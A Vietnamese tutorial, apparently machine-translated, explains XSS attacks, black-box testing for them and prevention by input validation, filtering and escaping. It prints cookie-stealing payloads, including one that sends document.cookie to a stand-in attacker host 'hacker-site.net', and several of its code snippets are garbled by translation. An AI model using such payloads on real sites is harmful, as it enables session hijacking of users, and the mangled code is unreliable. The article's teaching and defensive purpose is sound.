Cùng xem Kỹ thuật tấn công XSS và cách ngăn chặn trên youtube.
Có thể bạn quan tâm
- Access Control List là gì? Tại sao ACL có vai trò quan trọng trong bảo mật?
- Top 7 Phần mềm Soạn thảo văn bản Miễn phí, Tốt nhất 2021
- "Miền Nam" trong Tiếng Anh là gì: Định Nghĩa, Ví Dụ Anh Việt
- Phúc Hắc Công Là Gì – Thuật Ngữ Dùng Trong Đam Mỹ
- Đá hộc tiếng Anh là gì? Những ứng dụng của đá hộc | Tintucxaydung.com
Cross-site scripting (xss) là một trong những cuộc tấn công phổ biến nhất và dễ bị tấn công nhất mà tất cả những người thử nghiệm có kinh nghiệm đều biết. nó được coi là một trong những cuộc tấn công nguy hiểm nhất chống lại các ứng dụng web và có thể dẫn đến hậu quả nghiêm trọng. Giới thiệu cuộc tấn công xss Tấn công xss là một đoạn mã độc, để khai thác lỗ hổng xss, hacker sẽ chèn mã độc thông qua các tập lệnh để thực thi chúng ở phía máy khách. Các cuộc tấn công xss thường được sử dụng để vượt qua quyền truy cập và mạo danh người dùng.
Mục tiêu chính của cuộc tấn công này là đánh cắp dữ liệu nhận dạng của người dùng, chẳng hạn như: cookie, mã thông báo phiên và thông tin khác. Trong hầu hết các trường hợp, cuộc tấn công này được sử dụng để ăn cắp cookie của người khác. Như chúng ta biết, cookie giúp chúng ta đăng nhập tự động. vì vậy với cookie bị đánh cắp, chúng tôi có thể đăng nhập bằng các số nhận dạng khác. và đây là một trong những lý do khiến cuộc tấn công này được coi là một trong những cuộc tấn công nguy hiểm nhất.
cuộc tấn công xss đang được thực hiện ở phía máy khách. có thể được thực hiện với các ngôn ngữ lập trình phía máy khách khác nhau. tuy nhiên, hầu hết thời gian cuộc tấn công này được thực hiện bằng javascript và html.
Cuộc tấn công tập lệnh chéo trang web có nghĩa là gửi và chèn các lệnh và tập lệnh độc hại, những mã độc hại này thường được viết bằng các ngôn ngữ kịch bản phía máy khách như javascript, html, vbscript, flash … tuy nhiên, cuộc tấn công này thông qua việc sử dụng thông thường javascript và html. Cuộc tấn công này có thể được thực hiện theo nhiều cách khác nhau, tùy thuộc vào kiểu tấn công xss, mã độc có thể được phản ánh trong trình duyệt của nạn nhân hoặc được lưu trữ trong cơ sở dữ liệu và thực thi mỗi khi người dùng gọi hàm thích hợp. Nguyên nhân chính của kiểu tấn công này là xác thực đầu vào của người dùng không đúng cách, dữ liệu đầu vào độc hại có thể xâm nhập vào dữ liệu đầu ra. mã độc có thể nhập một tập lệnh và tự chèn vào mã nguồn của trang web. thì trình duyệt không thể biết mã thực thi có độc hại hay không. do đó, có thể mã độc đang được thực thi trong trình duyệt của nạn nhân hoặc đang được hiển thị cho người dùng theo bất kỳ cách hư cấu nào. có một số hình thức tấn công xss có thể xảy ra. Dưới đây là các cuộc tấn công tập lệnh trên nhiều trang web chính:
- tập lệnh trên nhiều trang web có thể xảy ra trong các tập lệnh độc hại được thực thi ở phía máy khách.
- người dùng được hiển thị một trang hoặc biểu mẫu giả mạo (nơi nạn nhân nhập thông tin đăng nhập hoặc nhấp vào biểu mẫu độc hại liên kết).
- trên các trang web hiển thị quảng cáo.
- Các email độc hại được gửi đến nạn nhân. Các cuộc tấn công xảy ra khi tin tặc tìm thấy lỗ hổng trong một trang web và gửi nó dưới dạng đầu vào độc hại. tập lệnh độc hại được đưa vào tập lệnh và sau đó xuất cho người dùng cuối.
Hãy xem ví dụ đơn giản sau: Hãy tưởng tượng chúng ta có một trang web với trường tìm kiếm.
nếu trường tìm kiếm là trường dễ bị tấn công, khi người dùng nhập bất kỳ tập lệnh nào, tập lệnh đó sẽ được thực thi.
ví dụ 1 : Người dùng nhập một tập lệnh đơn giản như sau:
thì sau khi nhấn nút “tìm kiếm”, tập lệnh đã nhập sẽ được thực thi.
Như chúng ta thấy trong ví dụ, tập lệnh được nhập vào trường tìm kiếm sẽ được thực thi. điều này chỉ cho thấy lỗ hổng của cuộc tấn công xss. tuy nhiên, một tập lệnh độc hại hơn cũng có thể được nhập. nhiều người thử nghiệm kết hợp cuộc tấn công tập lệnh chéo trang web với việc đưa vào javascript, cũng được thực hiện ở phía máy khách. trong cả hai, các tập lệnh tấn công độc hại đang được đưa vào. tuy nhiên, trong trường hợp tấn công xss, tập lệnh & lt; & gt; không cần thiết phải chạy tập lệnh.
ví dụ 2 : hãy xem xét điều đó trong trường xem xét nếu tin tặc nhập mã sau:
& lt; script & gt; hủy trang web (); & lt; / script & gt;
khi đó, killwebsite () sẽ được gọi và thực hiện các hành động có hại của nó. Như hầu hết chúng ta đều biết, cuộc tấn công này chủ yếu được sử dụng để thu thập cookie từ những người khác, có thể được sử dụng để đăng nhập với danh tính khác. Hãy phân tích một ví dụ khác về trường hợp xss có thể xảy ra với khả năng bị đánh cắp cookie.
Ví dụ 3 : Thông qua một lỗ hổng trên một trang web, kẻ tấn công sẽ đưa mã thích hợp vào.
** & lt; script type = “text / javascript” & gt;
var test = ‘.. / example.php? cookie_data =’ + Escape (document.cookie);
& lt; / script & gt; **
như đã thấy trong ví dụ trên, cookie bị mất và được gửi đến biến ‘cookie_data’ của tập lệnh mẫu example.php. nếu tin tặc chèn tập lệnh này vào mã trang web, mã sẽ được thực thi trong trình duyệt của người dùng và cookie sẽ được gửi đến tin tặc.
có 3 kiểu tấn công xss chính như sau:
1. xss phản ánh
có nhiều cách để khai thác thông qua lỗi xss được phản ánh, một trong những cách được biết đến nhiều nhất là chiếm phiên của người dùng, từ đó bạn có thể truy cập vào dữ liệu và có được quyền của người dùng đối với nó trên trang web. chi tiết được mô tả qua các bước sau:
- người dùng đăng nhập vào web và giả định phiên:
set-cookie: sessid = 5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
- bằng cách nào đó, tin tặc có thể gửi cho người dùng url:
giả sử example.com là trang web mà nạn nhân truy cập, hacker-site.net là trang web do tin tặc tạo ra
-
nạn nhân truy cập vào url phía trên
máy chủ phản hồi nạn nhân, với dữ liệu có trong yêu cầu (javascript của tin tặc)
Xem Thêm : Hạt nhựa tiếng Anh là gì? 5 Điều cần biết về hạt nhựa
trình duyệt của nạn nhân nhận được phản hồi và thực thi javascript
Javascript mà tin tặc đã tạo thực sự trông giống như sau:
var i = hình ảnh mới; i.src = “http://hacker-site.net/” + document.cookie;
dòng lệnh về cơ bản thực hiện một yêu cầu đến trang web của kẻ tấn công bằng tham số cookie của người dùng:
get / sessid = 5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 http / 1.1
máy chủ: hacker-site.net
- từ trang web của bạn, tin tặc sẽ phát hiện yêu cầu trên và coi phiên của người dùng đang bận. tại thời điểm này, tin tặc có thể mạo danh nạn nhân và thực hiện mọi quyền đối với trang web mà nạn nhân có.
2. xss được lưu trữ:
Không giống như cuộc tấn công được phản ánh trực tiếp vào một số nạn nhân do tin tặc nhắm mục tiêu, xss được lưu trữ nhắm mục tiêu đến nhiều nạn nhân hơn. lỗi này xảy ra khi ứng dụng web không kiểm tra lại dữ liệu đầu vào trước khi lưu nó vào cơ sở dữ liệu (ở đây tôi sử dụng thuật ngữ này để chỉ cơ sở dữ liệu, tệp hoặc các khu vực khác nơi dữ liệu ứng dụng web được lưu trữ). chẳng hạn như các hình thức bình luận, bình luận… trên các trang web. Với kỹ thuật xss được lưu trữ, tin tặc không khai thác trực tiếp mà phải thực hiện ít nhất 2 bước.
Trước tiên, tin tặc sẽ vượt qua các điểm nhập (biểu mẫu, đầu vào, vùng văn bản …) chưa được kiểm tra cẩn thận để chèn mã nguy hiểm vào cơ sở dữ liệu.
thì khi người dùng truy cập ứng dụng web và thực hiện các thao tác liên quan đến dữ liệu được lưu trữ này, mã của tin tặc sẽ được thực thi trong trình duyệt của người dùng.
kịch bản khai thác:
xss được phản ánh và xss được lưu trữ có 2 điểm khác biệt chính trong quá trình tấn công.
-
Đầu tiên, để khai thác xss được nhân bản, tin tặc phải lừa nạn nhân truy cập vào url của nó. và xss được lưu trữ không cần thực hiện việc này, sau khi chèn đoạn mã nguy hiểm vào cơ sở dữ liệu ứng dụng, hacker chỉ việc đợi nạn nhân tự động truy cập. Đối với nạn nhân, điều này là hoàn toàn bình thường vì họ không biết rằng dữ liệu mình đang truy cập đã bị lây nhiễm.
Thứ hai, mục tiêu của tin tặc sẽ dễ đạt được hơn nếu nạn nhân vẫn đăng nhập vào ứng dụng web tại thời điểm tấn công. Với xss được nhân bản, hacker có thể thuyết phục hoặc lừa nạn nhân đăng nhập rồi truy cập vào url mà bạn cung cấp để thực thi mã độc. nhưng xss được lưu trữ thì khác, vì mã độc được lưu trong cơ sở dữ liệu web nên mỗi khi người dùng truy cập vào các chức năng liên quan, mã độc sẽ được thực thi, và các chức năng này rất có thể yêu cầu xác thực thực (đăng nhập) trước nên hiển nhiên người dùng vẫn đang đăng nhập trong thời gian này.
Từ đó, bạn có thể thấy rằng xss được lưu trữ nguy hiểm hơn nhiều so với xss được phản ánh, các đối tượng bị ảnh hưởng có thể là tất cả trừ người dùng của ứng dụng web đó. và nếu nạn nhân có vai trò quản trị, thì cũng có nguy cơ bị chiếm quyền điều khiển web.
3. xss dựa trên dom
xss dựa trên dom là một kỹ thuật khai thác xss dựa trên việc thay đổi cấu trúc dom của tài liệu, cụ thể là html. hãy xem một ví dụ cụ thể bên dưới.
một trang web có url sau đây đến trang đăng ký:
khi chúng tôi truy cập nó, chúng tôi thấy một biểu mẫu rất bình thường
thay vì truyền
message = vui lòng hoàn thành biểu mẫu
sau đó truyền
message = & lt; label & gt; sex & lt; / label & gt;
thì biểu mẫu đăng ký sẽ như thế này:
Xem Thêm : Thu Hộ Là Gì? Tiền Thu Hộ Là Gì? Nhưng Điều Cần Biết
người dùng sẽ không nghi ngờ một biểu mẫu “bình thường” như thế này và khi giới tính được chọn, tập lệnh sẽ được thực thi
kịch bản khai thác:
trước tiên, để kiểm tra tấn công xss, có thể thực hiện kiểm tra hộp đen. nó có nghĩa là chúng tôi có thể kiểm tra mà không cần nhìn vào mã. tuy nhiên, xem xét mã luôn là một điều tốt và mang lại kết quả đáng tin cậy.
Khi bắt đầu kiểm tra, người kiểm tra nên xem xét phần nào của trang web dễ bị tấn công xss. tốt nhất nên liệt kê chúng trong tài liệu kiểm tra để đảm bảo chúng ta không bị bỏ sót. thì người kiểm thử phải lên kế hoạch kiểm thử những tập lệnh nào. Điều quan trọng cần lưu ý là bất kể ý nghĩa của kết quả, ứng dụng dễ bị tổn thương và kết quả cần được phân tích cẩn thận. Trong khi kiểm tra các cuộc tấn công có thể xảy ra, điều quan trọng là phải kiểm tra cách các tập lệnh đã nhập được phản hồi và các tập lệnh đó có được thực thi hay không, v.v.
ví dụ: người kiểm tra có thể thử viết đoạn mã sau trong trình duyệt:
& lt; script> alert (document.cookie) & lt; / script>
nếu tập lệnh được thực thi, thì rất có thể xảy ra xss. Ngoài ra, trong khi kiểm tra thủ công các cuộc tấn công tập lệnh trên nhiều trang web, điều quan trọng cần nhớ là các dấu ngoặc được mã hóa cũng nên được kiểm tra.
Mặc dù kiểu tấn công này được coi là một trong những kiểu tấn công nguy hiểm và rủi ro nhất, nhưng bạn vẫn nên chuẩn bị một kế hoạch phòng ngừa. Do sự phổ biến của cuộc tấn công này, có khá nhiều cách để ngăn chặn nó.
Các phương pháp phòng ngừa chính thường được sử dụng bao gồm:
- xác thực dữ liệu
- lọc
- thoát
Bước đầu tiên để ngăn chặn cuộc tấn công này là xác thực đầu vào. mọi thứ do người dùng nhập phải được xác nhận chính xác, vì đầu vào của người dùng có thể tìm đường đến đầu ra. xác thực dữ liệu có thể được đặt tên là cơ sở để đảm bảo an ninh hệ thống. Tôi sẽ nhớ rằng ý tưởng xác nhận không cho phép các đầu vào không phù hợp. vì vậy nó chỉ giảm thiểu rủi ro nhưng có thể không đủ để ngăn chặn lỗ hổng xss có thể xảy ra.
Một phương pháp ngăn chặn tốt khác là lọc thông tin đầu vào của người dùng. ý tưởng của việc lọc là tìm kiếm các từ khóa nguy hiểm trong đầu vào của người dùng và loại bỏ chúng hoặc thay thế chúng bằng các chuỗi trống. những từ khóa đó có thể là:
thẻ
& lt; script & gt; & lt; / dash & gt;
lệnh javascript
đánh dấu html
lọc đầu vào khá dễ thực hành. nó có thể được thực hiện theo nhiều cách khác nhau. như:
bởi các nhà phát triển đã viết mã phía máy chủ.
thư viện ngôn ngữ lập trình thích hợp đang được sử dụng.
Trong trường hợp này, một số nhà phát triển viết mã của riêng họ để tìm các từ khóa thích hợp và xóa chúng. tuy nhiên, cách đơn giản nhất là chọn thư viện ngôn ngữ lập trình thích hợp để lọc đầu vào của người dùng. Tôi muốn chỉ ra rằng sử dụng thư viện là một cách đáng tin cậy hơn vì những thư viện đó đã được nhiều nhà phát triển sử dụng và thử nghiệm.
Một biện pháp phòng ngừa có thể có khác là ký tự trốn thoát. trong thực tế này, bạn sẽ thay đổi các ký tự thích hợp bằng các mã đặc biệt.
ví dụ: & lt; ký tự thoát có thể giống với & amp; # 60. Điều quan trọng cần biết là chúng ta có thể tìm thấy các thư viện phù hợp với ký tự thoát.
Trong khi đó, thử nghiệm tốt cũng không nên quên điều đó. chúng ta cần những người kiểm thử phần mềm có kiến thức và các công cụ kiểm tra phần mềm đáng tin cậy. bằng cách này, chất lượng của phần mềm sẽ được đảm bảo tốt hơn.
Trong khi thử nghiệm, người thử nghiệm nên đánh giá các rủi ro từ các cuộc tấn công xss tiềm ẩn. Cuộc tấn công xss có thể ảnh hưởng đến các ứng dụng web, nó được coi là một trong những cuộc tấn công nguy hiểm và nguy hiểm nhất. vì vậy chúng ta không được quên thử cách tấn công xss này.
Khi thử nghiệm chống lại xss, điều quan trọng là phải hiểu rõ về cuộc tấn công xss. và đây là cơ sở để phân tích chính xác kết quả kiểm tra và lựa chọn công cụ kiểm tra phù hợp. Qua bài viết, hy vọng bạn có thể hiểu rõ hơn về tầm quan trọng của kiểm thử tấn công xss và cách thực hiện hiệu quả hơn.
nguồn: https://www.softwaretestinghelp.com/cross-site-scripting-xss-attack-test/
Nguồn: https://dongnaiart.edu.vn
Danh mục: FAQ
Lời kết: Trên đây là bài viết Kỹ thuật tấn công XSS và cách ngăn chặn. Hy vọng với bài viết này bạn có thể giúp ích cho bạn trong cuộc sống, hãy cùng đọc và theo dõi những bài viết hay của chúng tôi hàng ngày trên website: Dongnaiart.edu.vn